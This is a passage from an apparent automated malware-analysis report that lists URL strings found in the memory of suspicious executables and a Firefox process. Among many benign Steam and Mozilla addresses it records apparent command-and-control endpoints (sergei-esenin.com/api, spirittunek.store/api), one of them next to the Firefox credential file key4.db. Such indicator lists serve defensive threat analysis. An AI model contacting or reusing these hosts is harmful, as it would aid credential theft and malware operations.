or memory: https://sergei-esenin.com/
Source: file.exe, 00000000.00000003.1417736971.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/$l
Source: 8138ba21a1.exe, 00000012.00000003.2066736978.00000000059AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/.
Source: 8138ba21a1.exe, 00000012.00000003.2067087798.00000000011B4000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2047135073.00000000011B4000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2067414853.00000000011B4000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2049269933.00000000011B4000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2041871349.00000000011AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com//
Source: 8138ba21a1.exe, 00000012.00000003.1998433341.0000000001193000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1998252490.0000000001187000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/3
Source: 8138ba21a1.exe, 00000012.00000003.2047135073.00000000011B4000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2049269933.00000000011B4000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2041871349.00000000011AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/7
Source: file.exe, 00000000.00000003.1458782444.0000000005982000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/9
Source: 8138ba21a1.exe, 00000012.00000003.2116513162.00000000011B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/?
Source: file.exe, 00000000.00000003.1493028157.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1487828649.00000000011F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/F
Source: 8138ba21a1.exe, 00000012.00000003.2067645596.00000000059AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/II
Source: 8138ba21a1.exe, 00000012.00000003.2117059192.000000000119E000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2180479528.0000000001192000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2181693561.00000000011A0000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2043446372.00000000059AD000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2021461230.00000000059AD000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2116663478.00000000059AA000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2095825871.00000000059AA000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2117509341.00000000059AC000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2117059192.0000000001191000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2047304849.00000000059AD000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2096131872.00000000011A0000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2066736978.00000000059AA000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2042228537.00000000059AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api
Source: 8138ba21a1.exe, 00000012.00000003.1998252490.0000000001187000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api((
Source: 8138ba21a1.exe, 00000012.00000003.2180388586.0000000001198000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2181693561.00000000011A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api1
Source: file.exe, 00000000.00000003.1445624712.0000000005985000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api5UP3P
Source: file.exe, 00000000.00000003.1487793177.000000000598F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1458847673.0000000005990000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1459122490.0000000005990000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1474136490.000000000598F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1487656293.000000000598F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1477815226.000000000598F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1460412273.0000000005991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api8P
Source: file.exe, 00000000.00000003.1474136490.000000000598F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiD3l
Source: 8138ba21a1.exe, 00000012.00000003.2043446372.00000000059AD000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2047304849.00000000059AD000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2066736978.00000000059AA000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2042228537.00000000059AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiKAa
Source: file.exe, 00000000.00000003.1487793177.000000000598F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1487656293.000000000598F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiP3P
Source: 8138ba21a1.exe, 00000012.00000003.2180388586.0000000001198000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2181693561.00000000011A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiZ
Source: file.exe, 00000000.00000003.1487793177.000000000598F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1458847673.0000000005990000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1459122490.0000000005990000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1474136490.000000000598F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1487775149.000000000120A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1487656293.000000000598F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1477815226.000000000598F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1504653859.000000000120A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1498095593.000000000120B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1460412273.0000000005991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apie
Source: 8138ba21a1.exe, 00000012.00000003.2180479528.0000000001192000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apif
Source: file.exe, 00000000.00000003.1474200360.00000000011F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apim
Source: file.exe, 00000000.00000003.1474200360.00000000011F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apimo
Source: file.exe, 00000000.00000003.1487775149.000000000120A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apipV
Source: 8138ba21a1.exe, 00000012.00000003.2096131872.00000000011A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apis
Source: file.exe, 00000000.00000003.1417736971.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apit
Source: 8138ba21a1.exe, 00000012.00000003.2180479528.0000000001192000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2117059192.0000000001191000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiw
Source: 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/e
Source: 8138ba21a1.exe, 00000012.00000003.2181105344.0000000001119000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/p
Source: 8138ba21a1.exe, 00000012.00000003.2021461230.00000000059AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/w
Source: file.exe, 00000000.00000003.1445425292.0000000005994000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/api
Source: 8138ba21a1.exe, 00000012.00000003.2181105344.00000000010FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/apial
Source: 8138ba21a1.exe, 00000012.00000003.2181105344.00000000010FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/apir3.default-release/key4.dbPK
Source: 8138ba21a1.exe, 00000012.00000003.1984181714.00000000010FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/apiu
Source: firefox.exe, 0000001D.00000002.2168505988.000001C9678CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon
Source: 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815153546.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812465296.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: firefox.exe, 0000001D.00000002.2157086315.000001C967403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001D.00000002.2157086315.000001C967403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: 8138ba21a1.exe, 00000012.00000003.1984181714.00000000010FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spirittunek.store:443/api
Source: firefox.exe, 0000001D.00000002.2138617954.000001C96401F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2267577999.000001C96ACB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F751000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2041476436.000001C96F758000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2157086315.000001C967445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2264780674.000001C96AB78000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001D.00000002.2175868045.000001C9683E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96401F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2129414948.000001C963357000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2044345773.000001C969540000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2300171636.000001C96F5F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F751000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2041476436.000001C96F758000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2175868045.000001C96831E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2157086315.000001C967445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2199273661.000001C968A49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2249675969.000001C96953A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2155269647.000001C967103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001D.00000002.2286214238.000001C96F2B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 0000001D.00000002.2286214238.000001C96F2B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs:
Source: firefox.exe, 0000001D.00000002.2138617954.000001C96401F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2264780674.000001C96AB78000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2310925330.000001C971677000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2168882791.000001C9679BD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E09000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2229257788.000001C968F51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815153546.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812465296.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815153546.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812465296.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815153546.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812465296.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815153546.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812465296.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 8138ba21a1.exe, 0000000A.00000002.1815032604.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812396686.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com
Source: 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001119000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/J
Source: 8138ba21a1.exe, 0000000A.00000003.1812396686.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815032604.0000000000A76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/c
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A94000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/p
Source: 8138ba21a1.exe, 0000000A.00000002.1815032604.0000000000A76000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001119000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: file.exe, 00000000.00000003.1418033893.0000000001170000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2180590726.0000000001175000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 8138ba21a1.exe, 00000012.00000003.1984181714.00000000010FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815153546.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812465296.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cbcfeb0e5371aba2
Source: 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A94000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: file.exe, 00000000.00000003.1431328148.00000000011F3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
